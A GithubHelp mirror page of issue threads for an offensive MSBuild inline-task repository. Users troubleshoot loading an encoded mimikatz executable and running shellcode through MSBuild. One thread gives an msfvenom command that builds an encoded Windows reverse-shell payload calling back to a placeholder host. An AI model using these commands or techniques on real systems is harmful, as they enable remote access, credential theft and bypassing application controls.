GithubHelp home page GithubHelp logo

msbuild-inline-task's Introduction

msbuild-inline-task's People

Contributors

3gstudent avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar

msbuild-inline-task's Issues

Can you please describe how you create the compressed exe?

The question is regarding the" executes mimikatz.xml" template.
I first base64 the executable I want to load, as follows.

"$fileName = "executable"
$fileContent = get-content $fileName
$fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent)
$fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes)
$fileContentEncoded | set-content ($fileName + ".b64")"

Then, I understand that I should gzip compress the base64 string above. (Am I correct?)

Finally, I copy paste the gzip compressed string but I always get " error MSB4018: System.IO.EndOfStreamException: Unable to read beyond the end of the stream.\r"

Can you please describe how you create the compressed exe?

executes shellcode.xml throwing System.AccessViolationException

Hi,

I am trying to get executes shellcode.xml to work on my system but I am running into System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt. error

I have tried the command with the /p:GenerateBuildInfoConfigFile=false flag as well

The command that I am using to run msbuild is MSBuild.exe file.csproj /p:GenerateBuildInfoConfigFile=false

image

My shellcode is generated with the following msfvenom command --> msfvenom -p windows/shell_reverse_tcp -a x86 lhost=<mylhost> lport=<mylport> --format csharp --bad-chars '\x20\x0a\xff' -e x86/shikata_ga_nai -i 10 -v innocentcode -o file.csproj

EDIT:
Also tried it with executes x64 shellcode.xml and it gives me the same error message

image

Here is the addition of the msfvenom generated shellcode in executes x64 shellcode.xml

image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.